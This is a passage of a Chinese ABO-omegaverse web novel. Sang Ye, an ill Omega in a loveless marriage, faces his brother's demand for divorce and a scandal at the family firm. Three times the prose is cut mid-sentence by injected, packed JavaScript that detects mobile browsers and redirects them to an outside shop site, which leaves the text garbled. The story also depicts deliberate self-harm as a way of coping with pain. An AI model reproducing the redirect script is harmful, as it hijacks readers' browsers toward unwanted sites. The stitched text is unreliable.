“桑也,我真的要骂你了。” 凌星气不打一处来,听桑也讲发生了什么,脸都气红了。 他把银质的小勺子往甜品餐碟上一扔,发出清脆的一声敲击声,像是具象化的火气。 “你的意思是,你跟相召南在车里做完,他不带套就算了,还让你吃药?让你吃药就算了,还让你自己上楼回家?” “啊???” “嘘——凌星你小点声。”桑也赶紧拉住凌星的手,他们这些搞摇滚的,脾气是要大些。 “我小点声,我小——我小,行,我小点声。那也是看在你的名声份上,绝对不是给相召南面子。”凌星气都喘不顺了。 桑也直到他这么激动也是为自己好,用小勺子挖了一勺舒芙蕾,喂给他。 凌星一口咬在勺子上,气得眼歪嘴斜,便吞边说:“耶耶啊耶耶,你到底怎么想的?” “你怎么变成这样子了?” 他突然站起来,双手扶着桑也的肩头,猛地摇了几下,“妖魔鬼怪快显形,把我的耶耶还给我!” “快把我那个在赛车场上被臭Alpha歧视直接抄起手机就让人脑袋上砸的酷帅桑也还给我!” 桑也因为信息素依赖症身体一直不大好,贫血严重,被这样一摇,顿时眼花得不行,“停停停——” 凌星一屁股坐下,鼻子出气哼哼几声。 “耶耶,我还是那句话,你真的不考虑离婚吗?”凌星真诚发问,眨着一双亮汪汪的大眼睛,像只单纯的萨摩耶。 桑也揉了揉他的头,闷声道:“凌星,我……”他叹息一声,太复杂的心理,连他自己都理不顺,他仰了仰头,用略带怀疑的语气说:“我好像没办法和他离婚。” “细说,我听听怎么个事。” 凌星坐直了身体,桑也见状,也往前挪了挪,正襟危坐。 “只有他的信息素和我百分百契合,如果离婚,我找不到第二个能缓解我病症的Alpha。” “而且,因为这段婚姻,桑家和相氏建立了深度合作关系,很多产业都合资进行,如果离婚,那些好不容易有起色的业务又要重新融资,必然要中断许久,这对桑家而言,是不小的打击。大哥已经很忙了,我不想给他添麻烦。” “抛开这些不说,姥姥和大哥唯一的愿望就是我过得好,要是让他们知道……难免又要费心了。” “听起来像网上说的那什么沉没成本……哎,不对不对!”凌星听完,原本摸着下巴思索,突然想起什么。 “差点被你带偏了。” “哪里不对?” “我怎么觉得你说的这些都不叫事儿呢。你想想啊,虽然这个百分百契合很难得,但之前我也了解了一下,如果做基因改造的话,也就是钱的事,你桑家肯定不缺这点钱吧?那只要时间够,完全没问题。” “至于合作啊什么的,哪有你开心重要?你在乎家人,家人也在乎你啊,要是他们知道你为了不让他们担心而隐瞒自己过得不好的事实,那才真的伤透人心了。” “所以,综上所述——”凌星扶了扶莫须有的眼镜框,神神秘秘地,最后又泄了气,嘴巴一撇,“说到底还是因为你爱他。” “狗屁的相召南,他凭什么?” 凌星一拍桌面,百思不得其解。 桑也认真听凌星说来,刚开始还觉得凌星想得太简单了,可慢慢听着听着,他似乎也被说动了,只是缺少一股劲。 直到他听到那句“你爱他”。 像是在寒冬腊月的雪地里被大雪覆身难以动弹,他恍然,原来是这样啊。 所以他自轻自贱,自甘堕落,不是因为病,是因为爱,甚至不断给自己找借口,他是得病了才离不开。如果这种爱是味药,一定是剧毒。 如同被佛祖点醒,那股子萦绕在胸口散不去的雾终于被一阵风吹散,露出了澄澈清明的池湖。 桑也喃喃:“对,我爱他……” “什么情人眼里出西施,明明是爱让人眼瞎。”凌星吐槽。 桑也宛然一笑。 当他意识到爱这个字眼时,说明爱已经在消弭。真正爱的人都被蒙住了双眼,听不见真话。 桑也低头啜饮了一小口温水,又听见凌星问:“算了,我也不逼你。你高兴就行。” “你非要觉得因为那个病离不开他的话——你的病现在怎么样了?上次体检结果怎么说?有没有好转?有没有踹了相召南的希望?” 桑也愣了一下。 “之前陆医生就给我发消息说结果出了,相召南让他把报告寄来,按理说应该已经到了……我发消息问问。” “你问。” 【陆医生,体检报告你寄过来了吗?】 习惯了等待的桑也以为要很久才能收到回信,在他的认知里,陆医生这样的顶级医生应该不比相召南清闲,结果陆医生回信比他想象中快多了,刚把手机放下,就听见叮的一声响。 【我这里显示快递已经签收了。是没有收到吗?】 “签收了?”桑也思考了一下,确实没有阿姨说帮他签收了快递的记忆,突然意识到什么。 【陆医生,你把报告寄到哪个地址了?】 陆医生直接把快递地址复制发了过来。 果然,是桑家远郊那套别墅。 桑也心里莫名没底。 直觉让他觉得这份报告可能蕴含了些不太美妙的信息,如果被大哥看到…… 【好,谢谢。】 “凌星,我可能得先走了。” 必须得先大哥一步看到报告才行。 “啊,行。看到结果了你记得跟我说一声,不然我老是担心你。” “好啦,肯定的。” …… 虽然和凌星告别时故作淡定,装作轻松,内心沉重却是实打实的。他开车一向稳,这次却难得飘了些。 车停在别墅门口,刷脸开了大门。 他正想叫阿姨,问有没有看见他的快递,嘴还没张开,脚步就顿住。 桑受安正坐在沙发上,修长的腿交叠,手肘放在大腿上,手上捏着的正是一张薄纸。 “你来了。” 桑受安扶了下金丝眼镜,抬首看向他。 桑也咽了咽口水,缓步迈过去,心中悸跳,慢慢坐在沙发另一侧。 两个人就这样无言坐着,直到桑也受不了这诡异的氛围,率先开口:“哥,你没去公司吗?”说完觉得自己这话题找得太生硬,又补了一句:“公司闲下来啦?” “没。”桑守安似乎想到了什么令人头疼的事情,揉了揉太阳穴,“昨晚开了一晚上会,听他们吵架,吵得我脑仁疼。” “哦哦。”桑也乖巧点头,表示理解,“发生了什么?怎么还吵起来了。” “桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406597|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏地产在全国范围内还有近百块地皮,开工的,收工的,你有印象吧。”桑守安把报告单放在茶几上,交叠的双腿打开,整个人往前倾。 “嗯。” “前两天政府下了个红头文件,要大面积建设经济适用房。本身现在市场就不景气,这样下去,形式恐怕会更不乐观。有些高管的意思是——及时止损。” 桑也对经商的事情不甚了解,但耳濡目染,浅显些的东西还是能说上一二。本身商品房和经济房针对的用户群体并不冲突,但在市场不景气的情况下,仅有的受众成了双方争夺的目标,再加上土地这一资源始终是有限的,矛盾自然就产生了。 “降价呢?降价总能刺激下市场。” “没那么简单。”桑守安扶了下眼镜,“桑氏一家独大,已经招人惦记。一些规模小点的生产商就靠着手头那点现房盈利,必然不愿意让步,但凡我们想要拉低价格,马上就有人要告到上面去,说什么扰乱市场价格,搞垄断。” 说到这里,一向平和的大哥神色里也不免出现了几分躁郁。 这么麻烦的事情,大哥都解决不了,桑也更不可能灵机一动想出什么绝佳的方法拯救房地产于水火,更何况他还心心念念自己的体检报告,便说:“这么复杂啊。那大哥你快去歇歇吧,免得脑子转不动了。” “歇不了。” 原还声音、神色俱疲的桑守安突然凝神盯着他,心里本就慌张的桑也直接连口水都不敢咽一下了。 “来谈谈吧,你和相召南,感情如何。” 桑也像过去念书时走神却被科任老师点名的同学一样,瞬间抬头挺胸,想要装成若无其事的样子。 却反而露出了马脚。 他温吞道:“我们,挺好的。” “真的?”桑守安的语气明显不信。 桑也眼一闭,煮的。嘴上却还说着:“真的。” “那你告诉我,为什么体检结果会是这个样子!”声调突然变得高昂,似乎蕴含了无尽的怒火。 他当然生气,生气相召南居然敢懈怠他弟弟,生气自己没有好好考察就把弟弟交托给他。 桑守安点着茶几上的报告,指尖敲击桌面的声音又重又闷,听得桑也心里难受。 “为什么不跟我说实话?” “如果不是这份报告寄到家里被我看见了,你还打算瞒我多久?” “我没瞒……” 桑守安完全不听他说,只问:“是契合度下降了,还是他对你有意见。” “都没有。” “那就是对我桑家有意见。” 这……这跳跃的逻辑,桑也梗了一下,无可奈何地笑了。他想起先前相召南对他大哥的控诉,心想其实也差不多吧。 “你还笑得出来。”桑守安神色凝重,“你知不知道现在的情况已经几近失控了?我再去给你搜罗高契合度的Alpha,我问过国内顶尖的信息素专家,有希望人工改造出百分百契合度。” 他取出一支烟,没有点燃,就这样咬在嘴里,“至于相召南那边,你准备准备——” “跟他离婚。” “什么?”桑也听着大哥的话,脑袋不自觉垂下,然而离婚两个字一出,他的脑袋像是发生了某种反射一样遽然抬起,白色落地灯灯光直直射入他的眼中,刺激得他眼前一片空白。 之前没发现,这灯光如此灼目。 19. 第 19 章 凌星跟他说离婚吧,他还能半推半拒;大哥直接给他下达离婚的指令,他再也说不出什么话来,只是眼眶里腾升起雾水。 从小到大,他在家中扮演的都是一个乖巧、听话、懂事的小儿子形象。在他之上,有事业有成的父母,加上年少有为的兄长,似乎他生来的使命就是享福。 但这一切都建立在他足够讨喜的前提上。 这意味着他要适时地给出关心问候,顺从地按照其他人安排的路线生活,在这个家中当好吉祥物。 他当然感激,没有爸妈和兄长,哪来他这么多年的幸福,他享受了世间百分之九十九的人一生都体验不到的生活。 可是…… 和相召南结婚,在大哥眼里,只是缓解信息素依赖症的手段,对他而言,意义绝非如此简单。 经营失败的婚姻,固然让他感到难受,却又激起他屡败屡战的兴致。在对方是相召南这个前提下,他能容忍无数次失败。 他沉溺在这种挫败当中,沉溺在心绞痛当中。 现在,他被宣告没有再次尝试的机会了。 就像一个闯关失败的游戏,在玩家以为可以反复重开时,突然被告知尝试机会已经耗尽。 戛然而止。 他并不红润的双唇微微张开,感觉呼吸困难到需要口鼻共同作用才行。 “大哥,我,我觉得……我还可以再努,努力……我……” “他都没把你的死活放在心上,你还要为他努力吗?”桑守安的脸上闪过一丝嗤笑。 “大哥,你以前态度不是这样的……” “那是因为以前他有用。”桑守安把没有点燃的烟丢尽烟灰缸里,站起身来,“但现在,他没用了。” 没等桑也再说什么,桑守安叹息道: “耶耶,过得不开心为什么还要继续?” 桑也蓦然屏息,过得不开心为什么还要继续。 是啊,过得不开心,为什么,还要继续。 桑也你忘了,当初你跟凌星冲到赛车场上去手舞足蹈,喊着的不正是“快乐至上”吗?你怎么会连自己都原则都忘掉了。 怎么会这样? 桑也头脑中思绪混乱无比,似乎被桑守安看出来了。 桑守安说:“你先自己看看报告,报告上讲得都很清楚了。” 桑也手脚僵硬,脑子里还没想明白,身体就像被下达指令的机器人一样动了起来。 他拿起报告纸,前半部分的数据囫囵看过,重点看着医嘱部分。 报告全是电子打印的,不存在因为医生字迹太潦草而看不懂的情况。 上面写着: 所提取的病人信息素中并未检测出足量所需Alpha信息素,因长期安抚不及时,摄取量波动大,造成突触永久闭合,形成依赖抗性,契合信息素的抚慰作用下降。据估计,如不采取其他措施,病人的信息素依赖症会在半年内加剧到顶峰。建议尽早择定其他治疗方法。 桑也手在抖。 他大脑混沌一片,胡乱开口:“大哥,这上面写着,形成依赖抗性,是不是说就算再找到其他高契合的Alpha,也不起作用?" 既然都起不到作用,那是不是可以维持现状呢? 桑也并非医学专业,对这些术语只能说是望文生义,他说出来的话连自己都觉得漏洞极多。 但他还是说了。 说完自己也苦笑。 在凌星面前说自己是怕大哥担心,在大哥面前又拿检查报告说事。 难怪凌星说都是借口。当局者迷,旁观者清,凌星把他看得一清二楚。 他真是自甘堕落。 “找另外的高契合Alpha,”桑守安意味深长,“不是让他像相召南一样来安抚你的。” 桑也愣住,一瞬间意识到大哥是什么意思。 “哥,这不好吧……” “难不成真让你把腺体挖了?那意味着什么你不是不明白。这事就这样定了,我着手去办。” 桑守安拿起桌上的车钥匙,身形似乎有一瞬间的停滞,随后头也不回离开了别墅,步履携风,显得很决绝。 桑也只能无力地目送他大哥离开。 他该怎么办? 迷茫,徘徊,仿佛走在一条充满浓雾的小道上,看不见尽头,也看不见来路。不知道走了多远,也不知道还要走多久。 更不知道还要不要继续往前走。 他不甘心。 如果无疾而终,那他这四年来的低声下气、奴颜婢膝岂不白费?他已经变得不像他。 可是……大哥说得对,不开心为什么还要继续?他高估了自己放低身姿的耐力,也模糊了自己的初衷。 他的热情在一次次瓢泼灌来的冷水中熄灭,只剩星点火苗,垂死挣扎。 那星点火苗…… 桑也往后仰,把后脑勺放在沙发上,感受到后颈传来一阵酸痛。 他得为那星点火苗做些什么—— 如果能赶在大哥找到另一位高契合度的Alpha之前化解和相召南之间的寒冰,让大哥看见他们并非如隔天堑,是不是还有希望? 精致的五官浑然天成,此时却流露出纠结、难为的神色。 “耶耶,你大哥走了?”张姨走出来,“吃饭了吗?我叫厨房给你炒两个菜?” 桑也的动作仿佛被设置了零点五倍速,他睁开眼,坐直,扭头朝向张姨:“好啊。我想吃辣椒炒肉和酸辣鸡杂。” 时隔两个月,桑也再一次进入了Omega社区。他的主页显示一个小红点,似乎有人给他发了消息,不过他怕自己忘了登上来的目的,决定先发帖子再去看别人给他发了什么内容。 帖子内容是: 【和ALpha配偶感情不和,身体也不好,被兄长知道后要求我离婚。想问问大家有什么办法改善和Alpha的关系吗?】 刚发出去,还没等他退出去查看以前的消息,就看见页面一闪,刷新出来一条回复。 【天啦噜你终于上线了!!!】 桑也正疑惑着,又收到这个id为橘子汽水的用户发来的第二条回复: 【上次你回复的那个人根本就不是Omega!他是个大Alpha主义者!是我们Omega社区的奸细!你没有被他骗吧?一定要自尊自爱哇!】 看着满屏的感叹号,桑也感慨了一句这人感情好充沛,仔细阅读了一下内容,淡粉色的唇微微张开,脑子突然宕机了。 “啊。” “橘子汽水”说的难道是……建议他理解Alpha并提出一些具体方法的回复? 原来是这样么。 桑也小小庆幸了一下,还好当时相召南没有回来,不然他恐怕又要丢脸了吧? 他回复: 【谢谢你,不过,没有对我造成什么影响。】 橘子汽水:【太好了,就怕你被骗去做一些掉价的事情。】 【其实我做了。】 桑也沉默一会之后,诚实地回复他。 【???】 【不过我的Alpha没有回来。所以没有影响。^-^】 怕自己的话太生硬,他还特意加了一个以前流行的颜文字。 【???】 怎么还是三个问号? 桑也不解地看着手机屏幕,一会又收到“橘子汽水”的回复。 【老天,我怎么看不懂你在说什么。】 【他公司比较忙。】 【喔,是职员吗?】 【是老板。】 【。】 【听起来好像很有钱的样子,连自己的Omega都不管。(微笑)】 【这种人你送什么奢侈品估计都没用,考虑下手工制品呢?】 “橘子汽水”打字应该很快,在桑也还没反应过来的时候,就一连发了三条消息。 桑也认真考虑了一下,觉得可以采纳,又问:【你有什么好的手工制品推荐吗?我不是很了解。谢谢。】 【这个。居然有Alpha对Omega置之不理,绝对是中魇了,试试这个给他驱驱魔。】 附图是一张黄色符纸,上面用朱砂画着图样,说是鬼画桃符不为过。 【或者这个。】 附图是某购物软件的截图,图上的商品标题是“手工研磨催情香,效果显著,香味持久迷人”。 【要是不行就借助下外力,不是什么羞耻的事情哈。】 桑也震惊,桑也睁大眼睛。 这种东西居然可以在网上售卖吗? 虽然无法采纳,他还是认真道了谢。 【好的,谢谢你。】 【好有礼貌的Omega,超了。(舔唇)】 桑也大惊失色,【你是O同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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第二天一早他就联系了陈同学到学校公用的雕刻室去学习。 他本身学绘画,也算有一定的基础,加上无事牌本身留白较多,不需要太多的雕饰,同学只教了他简单且用得到的雕、刻、塑手法。 因为赶时间,桑也练习了几次之后,就直接在籽料上动工了。 无事,意为“无饰”,一般雕饰越少越能体现牌子本身质量,但大多的无事牌也会在边缘雕刻一些祥云等纹样,在中部留白,也别有意境。 桑也从早上一直雕刻到中午,废了三块牌子,手在发抖,却没有雕出一块完美的无事牌,甚至还把自己的手戳破了,鲜血滴到无事牌上。 同学好心指导他一上午,出去买了午餐,回来就看见桑也在水池里面冲水,清水隐隐透着点红色。 他把午餐放在桌上,“受伤了?” “嗯。” “喏,创可贴。”陈同学对雕刻室很熟悉,打开一个抽屉找到创可贴递给他,靠在水池边上打趣:“你说你,有钱干嘛还非得自己雕,受伤了,这下好了吧?” 他是个Beta,完全无法理解Omega的这种行为。 桑也把创可贴贴上,朝陈同学摇头,“这不一样。” “哪不一样了?买的说不定还比自己雕的好呢……而且,大画家的手受伤了,多可惜啊。” “意义不一样。”桑也笑了下。 陈同学琢磨了下,转身去打开午餐的包装袋,桑也跟在他后面,突然陈同学转身回来,“来来来,我给你拍个照——” 桑也看着他。 “哎呀,这意义嘛,不在于牌子,在于你这手指。”他二话不说从一堆灰里摸出一个半成品无事牌,放在桑也手心,咔嚓拍了张照发给桑也,“你就把这张照片发给你爱人,这才是意义所在,信我。” 桑也半信半疑,看着照片,里面的手因为泡水起了许多褶皱,还有些发白,无事牌看起来也很磕碜。 “这能行吗?” 他点开和相召南的对话框,迟迟没有动手。 陈同学冲他眨眼,手指点了两下,帮他发了出去。 “管用,绝对管用。” “——我看电视剧都是这样演的。” “?” 桑也刚想感慨被骗了,下一秒手机就震动了一下。 竟然真的管用! 20. 第 20 章 桑也的手机设置了锁屏模式消息内容不可见,此刻只看得见【南哥】发来一条消息。 刷地一下又跳成两条。 桑也欣喜若狂,立马解锁。 南哥:【你在做什么。】 第一条消息看不出冷热,但在桑也的记忆里没有听见过正常的询问,往往都带有指责。 他抿了下唇,看向第二条消息。 这是一条语音。 桑也很想立马听见相召南的声音,但他害怕里面的内容并不如他所愿。 同学还在身边。 他默不作声地侧了侧手机,长按语音条,把语音转换为文字。 【一个无事牌能要几个钱,做这个干什么?还是说你们桑家已经破产连买个无事牌的钱都拿不出来了?】 桑也脸色发白,不可置信地看了好几眼,熄灭了手机。 “先吃饭吧。” 他对同学说。 吃着,他给好心同学发了个四位数的红包。同学感恩戴德地谢了又谢,好像四位数很多一样。 看着同学这副模样,他又想起相召南的那条语音。 不是没钱买无事牌,而是亲手做的更有诚意。他的手温被无事牌汲取,最后传递给对方,不是一件很美好的事情吗? 南哥…… 是语音转文字出错了吗? 午餐失去了口感,他越品越没味。 最后他站起来,对同学说了句你先吃着他有点事,就走到雕刻室外的廊道,靠着矮墙,再次打开了手机。 因为退出界面,原先语音转文字的内容已经消失。他竟然生出一种先前看见的东西是自己臆想出来的荒谬感,手有些抖,不自觉再次点开了语音条。 “一个无事牌能要几个钱,做这个干什么?还是说你们桑家已经破产连买个无事牌的钱都拿不出来了?” 心底像深潭水一样凉。 手抖得厉害,不知不觉之间误触了语音条,熟悉的声音再次从手机内传出来。 “一个无事牌能要几个钱,做这个……” 没等语音播放完,他立马暂停了播放。 身体痉挛不止,呼吸失度。 同学说这种话,他并不放在心上,因为他们本就有大不相同的生活水平,而后面同学帮他拍照,让他发照片给相召南,显然已经能够理解他的所作所为。 可相召南,他说这样的话,实在令令桑也难以释怀。 这是钱的事吗?显然不是。 他也只是想碰上一颗真心,像普通人一样于爱人交换礼物。 他安抚自己,他并不是在索取爱——还没到那个阶段,他的目的是破冰、求和。 那么,受挫也是常有的事,坚持,也就理所当然。 回到雕刻室,他感觉到似乎有哪里不一样了。和原本飘着玉石香的房间大相径庭,现在的屋内弥漫着飞粉,钻进他的鼻腔,模糊他的双眼,阳光从狭窄的窗户照射进来,照出一方闷闷的,沙沙的领域。 上午技法不熟练,废了三块牌子,到下午,虽然手熟了些,但心神不宁,雕着雕着眼睛就失焦了,回过神来又费一块。 到天黑的时候,已经雕坏了八块。 等他意识到这个问题,肚子传来饥饿感,但他没有去吃饭。雕了一天手都快僵了,脑子也不清醒,不如保持这样的饥饿感来维持状态。 雕最后两块牌子的时候,桑也聚精会神,稍稍发现自己昏蒙,就掐自己的大腿、胳膊,越痛越清醒。 所以珍贵的不是玉牌,而是他全心全意投入的时间。 两块牌子都算是成功了。 都是自己亲手种出的花,桑也难以抉择。 他拍照发给陈同学,问他从专业的角度来讲哪一块更好,陈同学选了一块飘着墨色的无事牌。 那块牌子白墨相间,整体以透白为主,中间飘着墨花,油润清透,留白恰到好处,很有趣味。 桑也把它攥在手心。 …… 回到华润湾时已经凌晨,他先给无事牌穿了条黑色的绳,又翻出之前买东西配的货,找到一条墨绿色的丝巾,折折叠叠给无事牌包装上。 弄完之后才简单洗漱下上床休息。 因为累了一天,加上某种幻想,他睡得很熟,堪称昏睡过去,一觉睡到了第二天正午。 他计划的是去公司找相召南也好,等相召南回来也好,把无事牌送给他,再好好和他谈谈,看看能不能把隔阂都说明白说开,让相召南不要老是对他夹枪带棒的,再告诉他自己的身体形势很严峻,希望他能及时帮他度过情热期。 站在穿衣镜前,桑也认真审视自己的着装。 一件奶白色薄款圆领毛衣挂在他圆润的肩头上,到臀部的衣长包裹住窄版牛仔裤,牛仔裤勾勒出又直又长的双腿。虽然以S市的天气来看,在室外可能有些不适宜,但在开了空调的室内,应该是恰到好处的。 他给相召南发了消息,问他在不在公司,能不能来公司和他见一面。 相召南没有回复。 桑也耐心地等了两个小时,转而给相召南的助理打了电话,助理说:“相总在忙,先生您要来的话可以等晚上。” S市是沿海城市,升温快,降温也快,夜黑了,温度也就降下来了。 刚好,他告诉自己。 于是桑也在家里等到六点。 他又给相召南发消息,没回,便拨了个电话过去。 电话刚一响起就接通了。 这时他已经站在了门口,做好了随时出发的准备。 实话实说,桑也心里是有些欣喜的,这是这四年来相召南接电话最快的一次。 对面没有出声,桑也主动问:“南哥,你在公司吗?” 桑也当然知道自己讲的是废话,工作狂魔必然在公司,但人生不就是一句句废话堆积起来的嘛。 然而电话那边沉默了几秒钟之后,传出来一个桑也意想不到的声音:“召南哥在洗澡,你有什么事的话待会再打来吧。” “你……” 这完全打乱了桑也的计划,他失去了反应,直到手机从掌心滑落,才立马捡起来挂断电话。没有再说一句话。 他坐回沙发上,默然。 开始用混沌的大脑思考那句话传递出来了些什么信息。 手机连续震动好几次。 凌星发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406599|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来消息。 【耶耶!!!你看这是什么!】 【我朋友拍到的照片,还问我边上那个Omega是不是你,我一看这不是钱余吗。我靠,相召南他这样做对得起你吗???】 小图看起来是两个模糊的人影,桑也点开放大,才发现是相召南和钱余站在一家甜品店门口,一齐看着店门口的粉色广告牌,上面大号字体写着:“情人节限定舒芙蕾,先到先得!” S市天黑得早,拍照的时候天色已然昏暗,在商店门口营造氛围的灯串下站着的二人显示出朦胧感。 桑也摸着胸口,突然感到心脏停跳了一瞬。喉口瞬间收拢,挤压得他无法呼吸。 大口喘气,却无济于事。 四肢瞬间失去力气,手机滑落到地上,被他紧紧攥着的无事牌,连带着包装,一起砸落到地板瓷砖上,发出清脆的撞击声和零落的碎石声。 在忙。 是忙着和别人过七夕节吗? 又是在哪里洗澡呢? 桑也笑出声来。 相召南,既然有了心上人,为什么还要吊着他。 让他献上真心被践踏,争取和平被蹂躏,做尽了一切无用功。 让他成了笑话。 他深深闭上眼,干笑了两声。 为自己荒谬的期许,为自己鲁莽的冲动。 …… 第一次结合之后,桑也有半个月的时间没有再见到相召南。 他惴惴不安,找到大哥,问他是什么情况。 桑守安说,不急,过两天就让他来把结婚证领了。 桑也便乖巧等着。 到领证那一天,是桑守安开车送他到民政局去的。 实话实说,桑也有过一点点的失落,但转念一想,相召南和他又不熟,就算来接他,也只是出于礼貌,不必在意这么多。 领证的时候,桑也笑容难以抑制,出来一看照片,相召南的脸黑得要死。 桑也刚要嗔怪,突然想起他和相召南虽然已经负距离接触了,但总归是才见过几面,还是不要表现得太骄纵,便忍了下来。 桑守安目送他们近民政局便驱车前往了公司,认为领完证后相召南肯定带桑也回他家;桑也也是这样认为的。 结果他站在相召南车前,却听到他问:“你哥呢?” 桑也脸上闪过一丝诧异,理所当然地回答:“他,走啦。” 指了指车行道。 他偷偷觑看相召南,在他脸上看见一丝不耐烦,心脏猛跳了一下。 莫名其妙,就连生气都帅得那么戳中他。 “上车,送你回家。” “你家吗?”也不知道哪来的勇气,他接话道。 相召南启动车的动作顿了一瞬。 不过最后桑也还是如愿以偿地住进了相召南家。 ——远郊别墅。 桑也跟凌星吐槽相召南把他丢在十天半个月不回来一次的远郊别墅,凌星却还在震惊他的好兄弟年芳十八就把自己嫁了。 “戒指呢?婚礼呢?” “……可能——以后吧?” 凌星无语凝噎,“?哇塞。超绝恋爱脑。” 21. 第 21 章 好热。 好闷。 桑也头脑一阵昏昧,好像有一锅热水在他脑中煮开,冒着汩汩水泡,炸开,荡开,撞到颅骨上又荡回来。 他下意识摁亮手机,像以前一样,轻车熟路地找到那个号码,可拨通前一刻,手僵住了。 因为信息素依赖症,他做尽了丢脸的事情。 现在,他又要在刚得知相召南和其他Omega欢度七夕之后,舔着脸求他回来吗? “呵呵呵……”干涸的喉咙发出沙哑的笑声,桑也垂着头,掐了一下自己的大腿,疼痛顺着神经传入大脑。 他忘了,牛仔裤遮盖的下面,还有昨天雕刻无事牌留下的淤青。 炽痛越来越剧烈,他攥着手机,仿佛要把金属外壳捏变形。 不要。 没有相召南之前,他也能度过情热期。 只是痛点。 他能忍。 桑也站起来,双腿打颤。 他跌跌撞撞回到房间,没换下衣服,钻进被窝里。他已经没有力气换衣服了。 躁动的血液涌流,从口中,耳朵里,眼角,还有指甲缝里钻出来。 “床单,脏了。” 桑也的大脑反应开始变得迟钝。 又要幸苦阿姨了。 好安静。 寂静得他能听见骨髓里有一只猛兽要嚎叫,在侵咬,在啃噬。 他吸了吸鼻子,为什么信息素依赖症要缠上他?为什么爸爸妈妈离开得那么早?为什么他运气那么不好,明明有百分百契合,却不爱他? 咬紧了牙关,抠着雪白被套。 南哥。没有你我也可以过得很好。 我只是有点疼。 没有相召南,他还有大哥,还有凌星,还有远在春城的姥姥,他不缺爱。 姥姥…… 对,还有姥姥。 桑也眼睛已经有些看不见了,重影严重,他费劲找到沈音华的联系方式,给她打去电话。 急切,蹙迫,像是失恃失怙的孩子焦急地证明自己被爱着。 电话一接通,就传出姥姥关切的声音。 “小宝想姥姥了?” 被姥姥身上的精神劲带偏,忘了她其实已经上了年岁,这苍老的声音从声孔中传出,立马让桑也心生愧疚。 “嗯,我想——我,姥姥——”歉疚和委屈一齐涌上来,他话不成调,哽咽,带着哭腔,尽管极力掩饰,还是遮掩不住。 “孩子,怎么了这是?”能听得出沈音华的语气立马变了。接到电话时,她或许还在猜测,自己的乖孙是不是又要劝他到城里去住,可听到这哽咽的声音,她完全坐不住,站了起来,声音急切。 桑也把手机拿远,给自己顺了顺气。 他不想姥姥太过担心。 深吸了几口气之后,他再次开口: “没什么,我就是,想你,了。” 可是想哭的冲动根本就不是他想控制就能控制住的,哪怕刚开口是伪装得有多好,一说到“想你”二字,声音立马就变了调。 “小宝别哭,姥姥拍拍背,啊。小宝不哭不哭,姥姥马上来,姥姥马上来……”伴随着一阵窸窸窣窣的响声。 桑也鼻腔发出哼哼声,是疼的,也是感动的。 “好……姥姥。” 电话挂断了。 挂得那样迅速。 桑也有些不知所措。 其实他很想再听听姥姥的声音,但电话挂断了。 如果再打过去,姥姥会不会怀疑他出事了而担心得不行? 很可能的。 姥姥一直很爱他。 桑也眼眶含着水,磨磨蹭蹭地缩到床底下去。 这里让他感到莫名的安全。 他揉了揉眼。 他没想哭,只是水喝多了。 只剩空调发动机的嗡鸣声。 桑也默默掐着自己的腿肉,全然不管可能造成的伤害。 他是Omega,肌肤恢复能力很强的,就算抓破了,半个月就能长好。 没关系的。 于是下手更重了些。 直到手机叮叮叮叫个不停。 他从床底爬出来。 因为疼痛,他的双腿已经无法动弹,但他的大脑格外清醒。 是凌星给他发来消息。 虽然桑也很难受,很不想回复,但他从来不做已读不回的事情,那是相召南才有的陋习。 他强忍着难受,给手机解锁,查看消息。 【耶耶耶耶!!】 【我靠这是真的吗?】 【桑氏出事了?】 【这新闻上怎么说桑氏犯法了啊?】 【啊????】 【你快去看看,在电视上,直播的新闻,救命啊,桑大哥岂不是会吃牢饭?!】 什么……? 刚才还觉得大脑很清醒的桑也顿时觉得自己可能不太清醒。 他怎么看见凌星说他大哥犯法了呢。 真是病入膏肓了。 桑也无可奈何地笑了一下,手上又掐了一把大腿。 没有看错…… 凌星说的就是桑氏出事了…… 桑也后知后觉地感到害怕,他趴在地上,好一会没有反应。 一分钟后,他拖着无力的下肢,伏行到客厅,翻翻找找寻找遥控器。 放哪去了。 终于找到,他急忙打开电视剧,却因为手没力,把遥控器摔了。 无事牌掉在地上,他无动于衷,遥控器掉在地上,他急不可耐,立马爬过去捡起来,检查有没有坏掉,发现还能亮灯,立马对着电脑按下开机键。 家里的电视平时不怎么用,只偶尔会看一眼经济与社会频道。 刚好,电视一打开,正在播报经济新闻。 蓝色的标题框写着:【市民实名举报桑氏地产伪造财报,股市作假,贿赂获利,数罪并行。】 什么? 这新闻,说的是什么啊? 他怎么,乱说呢? 桑也本就红润的脸庞更红了,这回是急的。 他连忙打开手机,想要给大哥打电话确认情况。 他相信大哥不会作出这样的事情。 怎么可能呢? 手指哆哆嗦嗦点着屏幕,突然被新闻上的男声吸引了注意力。 